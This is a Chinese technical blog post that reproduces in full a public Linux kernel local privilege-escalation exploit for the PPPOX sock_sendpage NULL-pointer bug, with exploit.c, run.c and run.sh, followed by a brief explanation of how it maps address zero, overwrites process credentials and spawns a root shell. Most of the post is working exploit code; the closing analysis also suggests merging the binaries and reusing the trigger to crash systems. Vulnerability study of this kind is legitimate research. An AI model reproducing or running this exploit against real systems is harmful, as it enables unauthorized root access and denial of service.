Chinaunix首页 | 论坛 | 博客
  • 博客访问: 326912
  • 博文数量: 78
  • 博客积分: 1322
  • 博客等级: 中尉
  • 技术积分: 680
  • 用 户 组: 普通用户
  • 注册时间: 2010-04-14 13:24
文章分类
文章存档

2012年(20)

2011年(55)

2010年(3)

分类:

2011-12-23 08:44:26

本文贴出《Linux内核NULL指针引发的BUG(二)--剖析》(下文简称文二)中提到全部源码。源码的链接为:http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz
  【警告:本文中列出的代码仅限于学习和研究使用。任何用于非法用途的,请自行承担责任。】

本文欢迎自由转载,但请标明出处,并保证本文的完整性。
作者:Godbach
Blog:http://Godbach.cublog.cn
日期:2010/01/13

一、源码
源码总共分为三个文件:exploit.c,run.c和run.sh。
1. exploit.c的源码如下:

/*
 * 14.08.2009, babcia padlina
 *
 * vulnerability discovered by google security team
 *
 * some parts of exploit code borrowed from vmsplice exploit by qaaz
 * per_svr4 mmap zero technique developed by Julien Tinnes and Tavis Ormandy:
 *
 */


#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>

static unsigned int uid, gid;

#define USER_CS    0x73
#define USER_SS    0x7b
#define USER_FL    0x246
#define STACK(x) (x + sizeof(x) - 40)

void exit_code();
char exit_stack[1024 * 1024];

static inline __attribute__((always_inline)) void *get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
    );
    return (void *) curr;
}

static inline __attribute__((always_inline)) void exit_kernel()
{
    __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
         "i" (USER_CS), "r" (exit_code)
        );
}

void kernel_code()
{
    int i;
    uint *p = get_current();

    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
             p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }

    exit_kernel();
}

void exit_code()
{
    if (getuid() != 0) {
        fprintf(stderr, "failed\n");
        exit(-1);
    }

    execl("/bin/sh", "sh", "-i", NULL);
}

int main(void) {
    char template[] = "/tmp/padlina.XXXXXX";
    int fdin, fdout;
    void *page;

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

    if ((personality(0xffffffff)) != PER_SVR4) {
        if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
            perror("mmap");
            return -1;
        }
    } else {
        if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
            perror("mprotect");
            return -1;
        }
    }

    *(char *)0 = '\x90';
    *(char *)1 = '\xe9';
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

    if ((fdin = mkstemp(template)) < 0) {
        perror("mkstemp");
        return -1;
    }

    if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    unlink(template);
    ftruncate(fdin, PAGE_SIZE);
    sendfile(fdout, fdin, NULL, PAGE_SIZE);
}


2. run.c的代码如下:

#include <sys/personality.h>
#include <stdio.h>
#include <unistd.h>

int main(void) {
    if (personality(PER_SVR4) < 0) {
        perror("personality");
        return -1;
    }

    fprintf(stderr, "padlina z lublina!\n");

    execl("./exploit", "exploit", 0);
}


3. run.sh的代码如下:

#!/bin/sh

gcc -o run run.c && \
gcc -o exploit exploit.c && \
./run


二、简要分析
    可见,run.sh无非就是编译expolit.c和run.c并执行run程序。而run.c中其实就是先设置一下程序的执行域PER_SVR4,然后就执行exploit程序。

   那么,我们应该可以将run.c中设置执行域的那段代码放到exploit.c中main函数的开始部分,这样就可以将可执行程序合并成1个了。
  
   根据文二的分析,exploit.c中最后创建socket并调用sendfile部分的代码,即触发内核NULL pointer的代码。因为PPPOX协议的proto_ops结构并未初始化sock_sendpage函数指针。因为该函数指针指向NULL。因此,调用sendfile到内核之后,最终调用了sock_sendpage。由于其指向NULL,我们之前的代码已经将0地址进行映射,并设置为可执行。故而就执行0地址的执行,即jmp kernel_code。通过kernel_code函数,获取到了系统的root权限。

   这里还牵涉到另外一个问题,也就是通常系统是不能将0地址映射的,具体可参见《Linux内核NULL指针引发的BUG(一)--介绍》,简称文一。即通过sysctl变量vm.mmap_min_addr设置实现。但是一些LSM诸如SElinux对其进行了修改。这就导致了可以映射0地址。以上代码之所以可以顺利的获取到root权限就在于系统启用了SElinux模块。如果关闭SElinux,该代码就不会执行成功。

   因此,有文章就提到SElinux反而弱化了Linux系统的安全功能。我们将在下一篇文章中转载一篇SElinux Team的开发人员发表的一篇文章,谈到了他对SElinux和non-SElinux的系统安全的看法。
  
三、总结

 对于这样的BUG,个人有两点内容总结:
(1)我们可以通过该Bug的利用方式,能够明白只要有相关用户态的调用切换到内核态,而内核态调用的函数指向了NULL,那么上面的代码就可以顺利的执行。
    本人曾经在开启SElinux的系统上,加载一个注册proc文件的内核模块。其中read函数里面调用了一个指向NULL的函数指针。然后将引发BUG的代码(上面的socket和sendfile)改为打开一个proc文件(调用open和read),同样获取到root用户的权限。

(2)即使在有些系统上无法顺利的利用该漏洞获取到root权限,但是只要其相关的代码没有修改,比如sock_sendpage函数调用之前仍不判断其有效性,那么我们同样可以利用exploit.c中触发BUG的代码,来攻击一个系统,至少可以上该系统的内核报出Oops。
   这也相当于为我们提供了一种挖掘Linux内核BUG的方法。


  
阅读(1669) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~